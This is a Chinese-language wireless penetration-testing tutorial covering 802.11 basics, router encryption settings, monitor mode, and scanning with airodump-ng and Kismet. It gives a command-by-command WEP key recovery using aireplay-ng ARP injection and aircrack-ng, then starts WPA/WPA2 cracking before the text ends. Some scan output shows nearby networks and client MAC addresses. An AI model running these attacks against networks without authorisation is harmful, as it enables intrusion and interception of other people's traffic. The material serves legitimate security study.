无线网络渗透
无线网络是采用无线通信技术进行数据传输的网络。由于无线网络使用方便,其应用非常广泛。在无线网络中,数据是以广播的形式传输,所以引起了无线网络的安全问题。虽然用户可以通过设置不同的加密方法来保证数据的安全,但由于某些加密算法存在漏洞和用户缺少必要的安全意识,使得专业人员可以轻松获取无线网络的各种数据。
一、无线网络概述
无线网络与有线网络相比较,其搭建非常简单,仅需要一个无线路由器和一个无线客户端即可。
1.1 无线网络组成
通常情况下,无线网络是由路由器和无线客户端两部分组成。在专业术语中,通常称路由器为AP(Access Point,接入点);无线客户端为STA(Station),即装有无线网卡的客户端,如手机、笔记本和平板电脑等。在一个无线网络中,至少有一个AP和一个或一个以上的无线客户端。其中,无线网络的组成如下图所示。
1.2 无线网络工作流程
无线网络工作流程如下图所示。
在该工作流程中包括4个步骤。如下:
(1)由于AP会定时地广播SSID,所以STA可监听到AP发出的信号。当STA加入无线网络时,会发送一个探测请求。当AP收到该请求时,回应一个含频带信息的响应包。此时,STA会切换到指定的频带。
(2)STA将提供密码,以认证该无线网络。当AP对STA提交的认证信息确认正确后,即允许STA接入无线网络。
(3)STA和AP建立关联。在关联过程中,STA与AP之间要根据信号的强弱协商速率,直至关联成功。其中,一个STA同时只能与一个AP关联。
(4)此时,STA和AP就可以进行数据收发了。
二、802.11协议概述
IEEE 802.11是现今无线局域网通用的标准,它是由电气和电子工程师协会(IEEE)为无线局域网络制定的标准。虽然经常将Wi-Fi与802.11混为一谈,但两者并不等同。如果要对无线网络渗透,必须了解它的协议标准。所以,这里将对802.11协议进行详细介绍。
2.1 什么是802.11协议
802.11是IEEE最初制定的一个无线局域网标准,也是在无线局域网领域内的第一个国际认可的协议。它主要用于解决办公室局域网和校园网中用户与用户终端的无线接入,速率最高只能达到2Mbps。由于802.11在速率和传输距离上不能满足人们的需要,IEEE小组又相继推出了802.11b和802.11a两个新标准。三者技术上的主要差别在于MAC子层和物理层。其中,IEEE 802.11系列协议标准的发展史如下表所示。
协议标准 | 发布时间(年) | 频段 | 描述 |
---|---|---|---|
802.11 | 1999 | 2.4GHz | 定义微波和红外线的物理层和MAC子层 |
802.11a | 1999年9月 | 5GHz | 定义了微波物理层及MAC子层 |
802.11b | 1999年9月 | 2.4GHz | 物理层补充DSSS |
802.11b+ | 2002 | 2.4GHz | 物理层补充PBCC |
802.11c | 2000 | 关于802.11网络和普通以太网之间的互通协议 | |
802.11d | 2000 | 关于国际间漫游的规范 | |
802.11e | 2004 | 对服务等级QoS的支持 | |
802.11f | 2003 | 基站的互联性 | |
802.11g | 2003年6月 | 2.4GHz | 物理层补充OFDM |
802.11h | 2003 | 5GHz | 扩展物理层和MAC子层标准 |
802.11i | 2004 | 安全和鉴权方面的补充 | |
802.11j | 2004 | 5GHz | 扩展物理层和MAC子层标准 |
802.11k | 2005 | 基于无结局域网和微波测量规范 | |
802.11m | 2006 | 基于无线局域网的设备维护规范 | |
802.11n | 2009年9月 | 2.4GHz/5GHz | 导入MIMO(多输入输出)技术 |
802.11ac | 2014年1月 | 5GHz | 沿用802.11n的MIMO技术,为它的传输速率达到Gbps量级打下了基础。第一阶段的目标达到的速率为1Gbps,目的是达到有线电缆的传输速率 |
从上表中可以看到,每个802.11协议标准使用的频段不同。其中,包括两个频段,分别是2.4GHz和5GHz。关于这两个频段的区别将在后面讲解。
2.2 802.11ac协议
802.11ac是802.11n的继承者。它是在802.11a标准上建立起来的,包括使用802.11ac的5GHz频段。802.11ac每个通道的工作频宽将由802.11n的40MHz提升到80MHz,甚至160MHz,再加上大约10%的实际频率调制效率提升,最终理论传输速度将由802.11n最高的600Mbps跃升至1Gbps。实际传输率可以在300Mbps~400Mbps之间,接近目前802.11n实际传输率的3倍(目前802.11n无线路由器的实际传输率在75Mbps~150Mbps之间),足以在一条信道上同时传输多路压缩视频流。
2.3 2.4GHz频段
频段指的是无线信号的频率范围。无线信号在规定的频率范围传输数据。2.4GHz频段的频率范围是2.4~2.4835GHz。为了充分利用这个频段,将该范围分为几个部分,每个部分称为一个信道。目前主流的WiFi网络一般都支持13个信道。它们的中心频率虽然不同,但是,因为都占据一定的频率范围,所以会有一些互相重叠的情况。13个信道的频率范围如下表所示。
信道 | 中心频率 | 信道 | 中心频率 |
---|---|---|---|
1 | 2412MHz | 8 | 2447MHz |
2 | 2417MHz | 9 | 2452MHz |
3 | 2422MHz | 10 | 2457MHz |
4 | 2427MHz | 11 | 2462MHz |
5 | 2432MHz | 12 | 2467MHz |
6 | 2437MHz | 13 | 2472MHz |
7 | 2442MHz |
通过了解这13个信道所处的频段,有助于理解人们常说的3个不互相重叠的信道的含义。无线网络可在多个信道上运行。在无线信号覆盖范围内的各种无线网络设备应该尽量使用不同的信道,以避免信号之间的干扰。上表中是常用的2.4GHz(=2400MHz)频带的信道划分,实际一共有14个信道,但第14个信道一般不使用。每个信道的有效宽度是20MHz,另外还有2MHz的强制隔离频带。也就是说,对于中心频率为2412MHz的1信道,其频率范围为2401~2432MHz。具体14个信道的划分如下图所示。
从该图中可以看到,其中1、6、11这3个信道(实线标记)之间是完全没有重叠的,也就是人们常说的3个不互相重叠的信道。在图中也很容易看清楚其他各信道之间频段重叠的情况。另外,如果设备支持,除1、6、11这3个一组互不干扰的信道外,还有(2,7,12)、(3,8,13)和(4,9,14)3组互不干扰的信道。
2.4 5GHz频段
随着时代的发展,5GHz频段逐渐走进了人们的生活。5GHz是新的无线协议。5GHz频段由于频率高,波长相对于2.4GHz要短,因此穿透性和距离性偏弱,但数据传输更快。
5GHz支持的信道有5个,分别是149、153、157、161和165。当周围5GHz信号源较少时,可以任意选择信道。5GHz频段中信道的中心频率,如下表所示。
信道 | 中心频率 |
---|---|
149 | 5745 |
153 | 5765 |
157 | 5785 |
161 | 5805 |
165 | 5825 |
2.5 带宽
这里的带宽指的是信道带宽。信道带宽也常被称为“频段带宽”,是调制载波占据的频率范围,也是发送无线信号频率的标准。在常用的2.4~2.4835GHz频段上,每个信道的带宽为20MHz。在2.1表中可以发现,802.11 n协议包括两个带宽,分别是20MHz和40MHz。
其中,20MHz在802.11 n模式下能达到144Mbps带宽,它穿透性好,传输距离远(约100米左右);40MHz在802.11模式下能达到300Mbps带宽,但穿透性稍差,传输距离近(约50米左右)。如果读者对以上的解释不是很清楚,可以将这两个带宽想象成道路的宽度。所以,宽度越宽同时能跑的数据越多,也就提高了速度。但是,无线网的“道路”是大家共享的。当一个用户占用的道路过宽,跑的数据多时,就容易跟其他人碰撞。一旦撞车,全部人的速度都会慢下来,可能比在窄路上走还要慢。
为了帮助用户更清楚地理解信道带宽,下面通过一个图来进行分析,如下图所示。
从图中可以看到,802.11b/g协议允许4个AP同时使用。如果其中一个AP用了40MHz,就只能两个AP同时使用。所以,选择哪个带宽主要是看附近有多少AP在同时工作。如果附近没太多的干扰,那么建议选择使用40MHz带宽,可以获得较高的传输速度。如果AP较多,则建议使用20MHz带宽。
三、无线网络安全保障
无线网络安全保障是用来保护无线网络安全的相关设置。在大部分路由器中,支持3种无线加密方式,分别是WEP、WPS和WPA/WPA2。而且,为了方便连接到无线网络,用户也可以不使用加密。
3.1 无密码模式
无密码模式就是不使用密码,无须密码即可快速连接到无线网络。但是,这种模式没有安全性。下面将以TP-LINK路由器为例,介绍无线网络的每种加密模式。
设置无密码模式。具体操作步骤如下:
登录路由器的管理界面。一般情况下,路由器默认的地址为192.168.1.1或192.168.0.1。本例中的路由器地址为192.168.0.1。所以,在浏览器中输入地址
http://192.168.0.1
,将弹出一个密码登录对话框,如下图所示。在该对话框中输入登录的用户名和密码,然后,单击“登录”按钮,将显示路由器的主界面,如下图所示。
在左侧栏中依次选择“无线设置”|“无线安全设置”选项,将显示如下图所示的界面。
从该界面可以看到支持的所有加密方式,包括WPA-PSK/WPA2-PSK、WPA/WPA2和WEP。这里设置无密码模式。所以,选择“不开启无线安全”单选按钮。然后,单击底部的“保存”按钮,将弹出一个提示对话框,如下图所示。
这里提示用户需要重新启动路由器后,才可以使设置生效。单击“确定”按钮,在界面的底部将显示一个重新启动路由器提示信息,如下图所示。
从该界面可以看到,提示用户已经更改了无线设置,重启后生效。此时,单击“重启”选项,将弹出重新启动路由器的界面,如下图所示。
单击“重启路由器”按钮,将重新启动路由器。启动后,则设置生效。此时,用户无须输入密码就能快速连接到无线网络。
3.2 WEP模式
WEP(Wired Equivalent Privacy,有线等效保密协议),WEP协议可以对两台设备间无线传输的数据进行加密,以防止非法用户窃听或侵入无线网络。但是,该协议中存在一些缺点,所以很容易被攻击。目前,很少人使用这种加密方式了。
下面仍然以TP-LINK路由器为例,设置WEP加密模式。具体操作步骤如下:
登录路由器的管理界面。然后,在左侧栏中依次选择“无线设置”|“无线安全设置”选项,将显示如下图所示的界面。
在该界面中选择WEP单选按钮,即WEP加密模式,然后,用户可以设置该加密方式的认证类型、密钥格式和WEP密钥。其中,认证类型包括自动、开放系统和共享密钥;密钥格式包括ASCII码和十六进制。当用户选择开放系统时,无线网络内的主机可以在不提供认证密码的前提下,通过认证并关联无线网络。但是,如果要进行数据传输,必须提供正确的密码。当用户选择共享密钥时,无线网络内的主机必须提供正确的密码才能通过认证;否则,无法关联无线网络,也无法进行数据传输。如果用户不想要进行设置,可以选择自动选项。对于WEP密钥格式,用户可以根据自己的喜好选择。设置完成后,单击“保存”按钮,将弹出提示对话框,如下图所示。
单击“确定”按钮,将显示如下图所示的界面。
单击“重启”按钮,将显示重新启动路由器的界面,如下图所示。
单击“重启路由器”按钮,将重新启动路由器。路由器重新启动后,用户就可以通过WEP加密方式来连接无线网络了。
3.3 WPA/WPA2模式
WPA(Wi-Fi Protected Access),有WPA和WPA2两个标准,是一种保护无线计算机网络安全的系统。由于WEP协议中存在非常严重的弱点,所以WPA/WPA2是为取代WEP而产生的。尽管这种加密方式非常安全,但是用户通过捕获握手包,还是可以暴力破解其密码。下面介绍WPA/WPA2模式的设置方法。
设置WPA/WPA2加密模式。具体操作步骤如下:
登录路由器,并打开无线安全设置界面,如下图所示。
在该界面中可以看到,提供了两种WPA/WPA2的加密模式。其中,WPA-PSK/WPA2-PSK是针对小型企业或家用网络的;WPA/WPA2模式一般用于大型企业。所以,这里选择WPA-PSK/WPA2-PSK模式。然后,设置认证类型、加密算法和PSK密码。其中,认证类型包括自动、WPA-PSK和WPA2-PSK;加密算法包括自动、TKIP(新的802.11n不支持此加密算法)和AES。这里都选择为“自动”选项,然后单击“保存”按钮。接下来,根据提示重新启动路由器使设置生效。
3.4 WPS模式
WPS(Wi-Fi Protected Setup,WiFi保护设置),WPS是由WiFi联盟组织实施的可选认证项目,主要是为了简化无线网络设置及无线网络加密等工作。一般情况下,用户在新建一个无线网络时,为了保证无线网络的安全,都会对无线网络名称(SSID)和无线加密方式进行设置。当这些设置完成后,客户端连接此无线网络时,必须输入网络名称及冗长的无线加密密码。为了方便输入,通过WPS模式即可快速连接到无线网络。下面将介绍WPS模式的设置方法。提示:在路由器中,一些路由器的按钮显示为WPS,还有一些路由器的按钮显示为QSS。
在TP-LINK路由器中启用WPS模式。具体操作步骤如下:
登录路由器,并选择QSS安全设置选项,将显示如下图所示的界面。
从该界面可以看到QSS功能状态已关闭,即没有启用WPS功能。此处,单击“启用QSS”按钮,即可启动WPS功能。单击“启用QSS”按钮后,将显示重新启动路由器的提示对话框,如下图所示。
单击“确定”按钮,将显示如下图所示的界面。
单击“重启”按钮,将显示重启路由器的对话框,如下图所示。
单击“重启路由器”按钮,即可重新启动路由器。重新启动路由器后,可看到WPS功能已启用,如下图所示。
从该界面可以看到QSS功能已启用。由此可以说明,WPS模式已成功启动。接下来,用户通过按WPS/QSS键,可快速连接到无线网络。
四、无线网络监听
由于无线网络中的数据包是以无线信号的方式传播的,所以用户可以对该网络中的数据包进行监听,以捕获到所有的数据。如果要对无线网络监听,必须将无线网卡设置为监听模式。
4.1 网卡的工作模式
无线网卡可以工作在多种模式下,以实现不同的功能。其中,主要模式有被管理模式(Managed mode)、Ad hoc模式、主模式(Master mode)和监听模式(Monitor mode)。其中,这4种工作模式的概念如下所述。
被管理模式(Managed mode):当用户的无线客户端直接与无线接入点(Wireless Access Point,WAP)连接时,使用这个模式。在这个模式中,无线网卡的驱动程序依赖WAP管理整个通信过程。该模式的工作原理,如下图所示。
Ad hoc模式:点对点模式。当用户的网络由互相直连的设备组成时,使用这个模式。在这个模式中,无线通信双方共同承担WAP的职责。该模式的工作原理,如下图所示。
主模式(Master mode):一些高端无线网卡支持主模式。这个模式允许无线网卡使用特制的驱动程序和软件工作,作为其他设备的AP。该模式的工作原理,如下图所示。
监听模式(Monitor mode):从用途角度来说,这是最重要的模式。如果客户端不用于收发数据,只用于监听网络中所有的数据包时,使用监听模式。该模式的工作原理,如下图所示。
4.2 支持监听的无线网卡
如果要对无线网络进行监听,则使用的无线网卡必须支持监听模式。为了方便用户更好地选择无线网卡,这里将列举Kali Linux中支持监听的网卡芯片,如下表所示。
芯片 | Windows驱动(监听模式) | Linux驱动 |
---|---|---|
Atheros | V4.2、v3.0.1.12、AR5000 | Madwifi、ath5k、ath9k、ath9k_htc、ar9170/carl9170 |
Atheros | ath6kl | |
Atmel | Atmel AT76c503a | |
Atmcl | Atmcl AT76 USB | |
Broadcom | Broadcom peek driver | bcm43xx |
Broadcom with b43 dirver | b43 | |
Broadcom 802.11n | brcm80211 | |
Ccntrino b | ipw2100 | |
Ccntrino b/g | ipw2200 | |
Ccntrino a/b/g | ipw2915、ipw3945、iwl3945 | |
Ccntrino a/g/n | iwlwifi | |
Cisco/Aironel | Cisco PCX500/PCX504 peek driver | airo-linux |
Hermes I | Agere peek driver | Orinoco、Orinoco Monitor Modc Patch |
Ndiswrappcr | N/A | ndiswrappcr |
cx3110x(Nokia 770/800) | cx3110x | |
prism2/2.5 | LinkFerret or aerosol | HostAP、wlan-ng |
prismGT | PrismGT by 500 brabus | prism54 |
prismGT(altcrnativc) | p54 | |
Ralink | rt2x00、RaLink RT2570USB Enhanccd Drivcr、RaLink RT73 USB Enhanced Driver | |
Ralink RT2870/3070 | rt2800usb | |
Realtek 8180 | Realtek peek driver | rtl8180-sa2400 |
Realtek 8187L | r8187rtl8187 | |
Realtek 8187B | rtl8187(2.6.27+)、r8187b(beta) | |
TI | ACX100/ACX111/ACX100USB | |
ZyDAS 1201 | zd1201 | |
ZyDAS 1211 | zd1211rw plus patch | |
RTL8812AU | ||
RT3572 | rt2800usb |
以上列举了许多个无线网卡。对于2.4GHz WiFi网络,建议用户选择芯片为3070或8187的无线网卡。对于5GHz WiFi网络,只支持芯片为RT3572和RTL8812AU的无线网卡。
4.3 设置监听模式
当用户选择合适的无线网卡后,即可设置该无线网卡为监听模式。一般情况下,用户使用airmon-ng命令设置无线网卡为监听模式。语法格式如下:
airmon-ng start <interface>
以上语法中,参数start,表示启动监听模式;interface是指无线网络接口。
设置无线网卡为监听模式。执行命令如下:
1 | # airmon-ng start wlan0 |
从输出的信息可以看到,成功启动了监听模式,其监听接口为wlan0。
4.4 设置5G WiFi网卡的监听模式
目前,支持5G WiFi的常见网卡芯片有两种,分别是RT3572和RTL8812AU。其中,RT3572芯片的无线网卡和普通的无线网卡设置相同,直接使用airmon-ng命令即可启动监听模式。但是RTL8812AU芯片的无线网卡还需要安装驱动,而且需手动设置监听模式。下面介绍设置RTL8812AU芯片的无线网卡为监听模式的方法。
设置RTL8812AU芯片的无线网卡为监听模式。具体操作步骤如下:
安装驱动。执行命令如下:
1
# apt-get install realtek-rtl88xxau-dkms
执行以上命令后,如果没有报错,则说明驱动安装成功。
查看无线网卡的模式。执行命令如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15# iwconfig
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=18 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 Mode:Managed Frequency:2.412 GHz Tx-Power=20 dBm
Retry short long limit:2 RTS thr:off Fragment thr:off
Power Management:off从输出的信息中可以看到,该无线网卡当前的工作模式为Managed(管理模式)。
停止无线网卡接口。执行命令如下:
1
# ip link set wlan0 down
设置无线网卡为监听模式。执行命令如下:
1
# iwconfig wlan0 mode monitor
启动无线网卡。执行命令如下:
1
# ip link set wlan0 up
再次查看无线网卡的模式。执行命令如下:
1
2
3
4
5
6
7
8# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm
Retry short long limit:2 RTS thr:off Fragment thr:off
Power Management:off从输出的信息中可以看到,已成功将芯片设置为Monitor(监听模式)。其中,监听模式的接口名为wlan0。
五、扫描无线网络
扫描无线网络,就是扫描周围的无线网络信号,以找出渗透测试的目标。如果用户要实施渗透测试,则需要知道目标无线网络的一些基本信息,如AP名称、MAC地址和工作的信道等。通过对无线网络实施扫描,并分析扫描结果,以选择对应的工具实施渗透测试。
5.1 使用Airodump-ng工具
Airodump-ng是Aircrack-ng工具集中的一个工具,可以用来扫描周围的无线网络信号。通过分析捕获到的无线信号数据包,可知周围开放的AP名称、MAC地址、信道及加密方式。下面将介绍使用Airodump-ng工具扫描无线网络的方法。
使用Airodump-ng工具扫描无线网络的语法格式如下:
airodump-ng <interface>
以上语法中,参数interface表示无线网卡监听接口。
使用Airodump-ng工具扫描无线网络。执行命令如下:
1 | # airodump-ng wlan0 |
从输出的信息可以看到扫描到的无线网络信息。在以上输出信息中包括很多列,每列参数的含义如下:
参数 | 含义 |
---|---|
BSSID | 表示无线AP的MAC地址。 |
PWR | 网卡报告的信号水平,它主要取决于驱动。当信号值越高时,说明离AP或计算机越近。如果BSSID和PWR两列的值都是-1,说明网卡的驱动不支持报告信号水平。如果PWR值为-1,那么说明该客户端不在当前网卡能监听到的范围内,但是能捕获到AP发往客户端的数据。如果所有的客户端PWR值都为-1,那么说明网卡驱动不支持信号水平报告。 |
Beacons | 无线AP发出的通告编号。每个接入点(AP)在最低速率(1M)时每秒大约发送10个beacon。 |
#Data | 被捕获到的数据分组的数量(如果是WEP,则代表唯一IV的数量),包括广播分组。 |
#/s | 过去10秒钟内,每秒捕获数据分组的数量。 |
CH | 信道号(从Beacons中获取)。 |
MB | 无线AP所支持的最大速率。如果值为11,表示使用的是802.11b协议;如果值为22,表示使用的是802.11b+协议;如果更高,表示使用的是802.11g协议。如果值中包含点号(高于54之后),则表明支持短前导码。如果值中包含’e’,表示网络中有QoS(802.11 e)启用。 |
ENC | 使用的加密算法体系。OPN表示无加密。WEP?表示WEP或者WPA/WPA2,WEP(没有问号)表明静态或动态WEP。 |
CIPHER | 检测到的加密算法,为CCMP、WRAAP、TKIP、WEP和WEP104中的一个。典型地来说(但不一定),TKIP与WPA结合使用,CCMP与WPA2结合使用。如果密钥索引值大于0,显示为WEP40。标准情况下,索引0~3是40bit,104bit应该是0。 |
AUTH | 使用的认证协议。常用的有MGT(WPA/WPA2使用独立的认证服务器,如我们常说的802.1x,radius和eap等),SKA(WEP的共享密钥),PSK(WPA/WPA2的预共享密钥)或者OPN(WEP开放式)。 |
ESSID | 也就是所谓的SSID号。如果启用隐藏的SSID,它可以为空,或者显示为<length:0>。这种情况下,airodump-ng试图从proberesponses和associationrequests中获取SSID。 |
STATION | 客户端的MAC地址,包括已连接的和想要搜索无线网络来连接的客户端。如果客户端没有连接上,就在BSSID下显示not associated。 |
Rate | 表示传输率。 |
Lost | 在过去10秒钟内丢失的数据分组,基于序列号检测。它意味着从客户端发送来的数据丢包,每个非管理帧中都有一个序列号字段,将刚接收到的那个帧中的序列号和前一个帧中的序列号相减,就可以知道丢了几个包。 |
Frames | 客户端发送的数据分组数量。 |
Probe | 被客户端查探的ESSID。如果客户端正试图连接一个AP,但是没有连接上,就会显示在这里。 |
5.2 使用Kismet工具
Kismet是一款嗅探无线网络工具。使用该工具可以监测周围的无线信号,并查看所有可用的无线接入点。下面将介绍使用Kismet工具扫描无线网络的方法。
使用Kismet工具扫描无线网络。具体操作步骤如下:
启动Kismet工具。执行命令如下:
1
# kismet
执行以上命令后,将显示如下图所示的界面。
该界面用来设置是否使用终端默认的颜色。因为Kismet默认的颜色是灰色,一些终端不能显示,所以这里不使用默认的颜色,此时单击No按钮,将显示如下图所示的界面。
该界面提示正在使用root用户运行Kismet工具。单击OK按钮,将显示如下图所示的界面。
该界面提示是否要自动启动Kismet服务。单击Yes按钮,将显示如下图所示的界面。
该界面显示设置Kismet服务的一些信息。这里使用默认设置,然后单击Start按钮,将显示如下图所示的界面。
该界面显示没有被定义的包资源,是否要现在添加。单击Yes按钮,将显示如下图所示的界面。
在该界面指定无线网卡接口和描述信息。在Intf文本框中,输入无线网卡接口wlan0。然后单击Add按钮,将显示如下图所示的界面。
在该界面单击Close Console Window按钮,将开始扫描无线网络,如下图所示。
从该界面可以看到Kismet工具扫描到的所有无线AP信息。在该界面的左侧显示了捕获包的时间,扫描到的网络数和包数等。用户可以发现,在该界面只看到搜索到的无线AP、信道和包大小信息,但是没有看到这些AP的MAC地址及连接的客户端等信息。而且,默认无法选择AP。如果想查看连接当前AP的客户端,还需要进行设置。在菜单栏中依次选择Sort|First Seen命令,即可在第一屏中选择AP,并在第二屏中显示所连接的客户端,如下图所示。
从该界面可以看到,显示名为CU_655w的AP详细信息,并且显示了连接的客户端。例如,连接的客户端MAC地址为FC:1A:11:9E:36:A6;AP的MAC地址为70:85:40:53:E0:3B,工作的信道为9,加密方式为TKIP、WPA和PSK等。如果想要查看AP的详细信息,则双击对应的AP。例如,查看名称为TP-LINK_A1B8的AP详细信息,显示结果如下图所示。
从该界面可以看到该AP的详细信息,如生产厂商、BSSID、信道、频率和信号强度等。如果想要停止扫描无线网络,则依次单击Kismet|Quit选项,将弹出停止Kismet服务对话框,如下图所示。
单击Kill按钮,将停止Kismet服务并退出扫描界面。并且,将会在终端输出一些日志信息:
1
# kismet
* KISMET CLIENT IS SHUTTING DOWN *
[SERVER] INFO: Stopped source ‘wlan0mon’
[SERVER]
[SERVER] * KISMET IS SHUTTING DOWN *
[SERVER] ERROR: TCP server client read() ended for 127.0.0.1
[SERVER] Shutting down log files…
[SERVER] INFO: Closed pcapdump log file ‘Kismet-20200106-14-01-12-1.pcapdump’, 80
[SERVER] logged.
[SERVER] INFO: Closed netxml log file ‘Kismet-20200106-14-01-12-1.netxml’, 4 logged.
[SERVER] INFO: Closed nettxt log file ‘Kismet-20200106-14-01-12-1.nettxt’, 4 logged.
[SERVER] INFO: Closed gpsxml log file ‘Kismet-20200106-14-01-12-1.gpsxml’, 0 logged.
[SERVER] INFO: Closed alert log file ‘Kismet-20200106-14-01-12-1.alert’, 0 logged.
[SERVER] INFO: Shutting down plugins…
[SERVER] ERROR: Not creating a VIF for wlan0mon even though one was requested,since the
[SERVER] interface is already in monitor mode. Perhaps an existing monitor mode
[SERVER] VIF was specified. To override this and create a new monitor mode VIF
[SERVER] no matter what, use the forcevif=true source option
[SERVER] WARNING: Kismet changes the configuration of network devices.
[SERVER] In most cases you will need to restart networking for
[SERVER] your interface (varies per distribution/OS, but
[SERVER] usually: /etc/init.d/networking restart
[SERVER]
[SERVER] Kismet exiting.
Spawned Kismet server has exited
* KISMET CLIENT SHUTTING DOWN. *
Kismet client exiting.
1 |
|
从输出的信息可以看到,生成了5个文件位置。其中,每个日志文件保存的内容不同。如下:
> .alert:警报的纯文本日志文件。Kismet将对特别关注的事件发送警报。
> .gpsxml:XML格式的GPS日志文件。
> .nettxt:纯文本格式的网络信息。
> .netxml:XML格式的网络信息。
> .pcapdump:通过pcap捕获的实时数据通信文件。这取决于libpcap版本,此文件可能包含每个数据包的信息,包括GPS坐标信息。
六、无线网络密码攻击与防护
通过实施无线网络扫描,即可找出攻击的目标。这里介绍如何对无线网络密码实施攻击,并提供一些防护措施。
6.1 破解WEP无线网络密码
由于WEP加密使用的是RC4算法,导致WEP加密的网络很容易被破解。下面将介绍如何使用Aircrack-ng工具破解WEP加密的无线网络。
使用Aircrack-ng工具破解WEP无线网络密码。具体操作步骤如下:
启动监听模式。执行命令如下:
1
# airmon-ng start wlan0
扫描无线网络,找出使用WEP加密的无线网络:
1
2
3
4
5
6
7
8
9# airodump-ng wlan0
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:E6:E4:84:23:7A -54 148 39 0 4 54e. WEP WEP Test
70:85:40:53:E0:3B -60 229 74 0 4 130 WPA2 CCMP PSK CU_655w
BSSID STATION PWR Rate Lost Frames Probe
14:E6:E4:84:23:7A 1C:77:F6:60:F2:CC -64 54e-54e 3252 98从输出的信息可以看到,ESSID为Test的无线网络使用的加密方式为WEP。所以,这里将选择对该无线网络密码实施破解。
捕获WEP无线网络数据包,并指定捕获到的数据包保存在wep文件中。执行命令如下:
1
2
3
4
5
6
7
8
9
10# airodump-ng --ivs -w wep --bssid 14:E6:E4:84:23:7A -c 1 wlan0
CH 1 ][ Elapsed: 1 mins ][ 2019-04-23 20:15
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:E6:E4:84:23:7A -56 100 1211 20 795 1 54e. WEP WEP Test
BSSID STATION PWR Rate Lost Frames Probe
14:E6:E4:84:23:7A 1C:77:F6:60:F2:CC -64 54e-54e 0 144088看到以上输出的信息,表示正在捕获Test无线网络的数据包。对于WEP加密无线网络是否能够被破解成功,主要取决于捕获的IVS数据包。从以上显示的Data列中可以看到,目前才捕获到20个包。为了加快捕获包的速度,用户可以使用Aireplay-ng工具实施注入攻击。其中,语法格式如下:
aireplay-ng -3 -b [AP的MAC地址] -h [客户端MAC地址] wlan0
以上语法中的参数-3,表示实施ARP注入攻击;-b指定AP的MAC地址;-h指定客户端的MAC地址。
实施ARP注入攻击,以加快捕获数据包的速度。执行命令如下:
1
2
3
4
5# aireplay-ng -3 -b 14:E6:E4:84:23:7A -h 00:18:E7:BB:0C:38 wlan0
20:14:16 Waiting for beacon frame (BSSID: 14:E6:E4:84:23:7A) on channel 1
Saving ARP requests in replay_arp-0423-201416.cap
You should also start airodump-ng to capture replies.
Read 58106 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)看到以上输出的信息,则表示正在实施ARP注入攻击。此时,返回到Airodump-ng工具执行的终端,将发现#Data列的值在飞速增长。具体如下:
1
2
3
4
5
6
7CH 1 ][ Elapsed: 3 mins ][ 2019-04-23 20:15
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:E6:E4:84:23:7A -56 100 1211 137501 795 1 54e. WEP WEP Test
BSSID STATION PWR Rate Lost Frames Probe
14:E6:E4:84:23:7A 1C:77:F6:60:F2:CC -64 54e-54e 0 144088从该界面可以看到,Data列的值已达到137501。此时,用户即可尝试实施破解。一般情况下,当Data值达到10000以上时,可以尝试进行密码破解。如果无法成功破解密码,则继续捕获数据。
以上命令执行成功后,生成的文件名是wep-01.ivs,而不是wep.ivs。这是为了方便后面破解时调用airodump-ng工具,对所有保存文件按顺序编号,于是就多了-01这样的序号。以此类推,在进行第二次攻击时,若使用同样的文件名wep保存,就会生成名为wep-02.ivs文件。
实施密码破解。执行命令如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26# aircrack-ng wep-01.ivs
Opening wep-01.ivslease wait...
Read 27818 packets.
# BSSID ESSID Encryption
1 14:E6:E4:84:23:7A Unknown
Choosing first network as target.
Opening wep-01.ivslease wait...
Read 123408 packets.
1 potential targets
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 123407 ivs.
Aircrack-ng 1.5.2
[00:00:03] Tested 167413 keys (got 27817 IVs)
KB depth byte(vote)
0 11/ 12 A7(31704) B5(31464) F5(31428) 85(31204) F4(31144) D2(31096)
91(31056) B0(31016) 8B(30832)
1 16/ 1 B5(31636) 26(31420) 90(31240) DF(31196) EC(31136) 98(31008)
BC(30848) 8C(30732) 1B(30688)
2 11/ 16 C6(31976) 68(31944) 66(31568) AA(31388) 35(31368) 37(31132)
3A(31080) 0B(30948) 23(30904)
3 10/ 27 8C(31668) 93(31572) ED(31568) DB(31524) F5(31464) 9F(31356)
26(31280) 35(31240) 70(31204)
4 28/ 4 3D(30660) 52(30544) 5D(30544) 24(30468) 07(30460) CE(30460)
38(30436) 4C(30368) 72(30248)
KEY FOUND! [ 61:62:63:64:65 ] (ASCII: abcde )
Decrypted correctly: 100%从输出的信息可以看到,成功破解了WEP无线网络的密码。其中,该密码的ASCII码为abcde,十六进制值为61:62:63:64:65。
6.2 破解WPA/WPA2无线网络密码
WPA/WPA2加密方式本身很安全。但是,用户只要捕获到握手包,并且有足够强大的密码字典,就可能暴力破解出其密码。下面将介绍使用Aircrack-ng工具暴力破解WPA/WPA2无线网络密码的方法。
使用Aricrack-ng工具暴力破解WPA/WPA2无线密码。具体操作步骤如下:
启动监听模式,并扫描无线网络:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16# airodump-ng start wlan0
# airodump-ng wlan0
CH 13 ][ Elapsed: 3 mins ][ 2021-01-23 21:40 ][ interface wlan0 down
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
58:C8:76:62:13:18 -1 0 0 0 4 -1 <length: 0>
90:76:9F:C0:06:31 -1 0 0 0 2 -1 <length: 0>
34:96:72:69:D5:C3 -46 195 1 0 11 195 WPA2 CCMP PSK dz
00:6B:8E:F4:2D:F0 -55 15 1 0 36 360 WPA2 CCMP PSK 酷拽吊炸天
00:6B:8E:F4:2D:E8 -56 168 0 0 11 130 WPA2 CCMP PSK 酷拽吊炸天
6A:35:FE:02:78:1C -61 141 4 0 10 130 WPA2 CCMP PSK CU_4SQ5
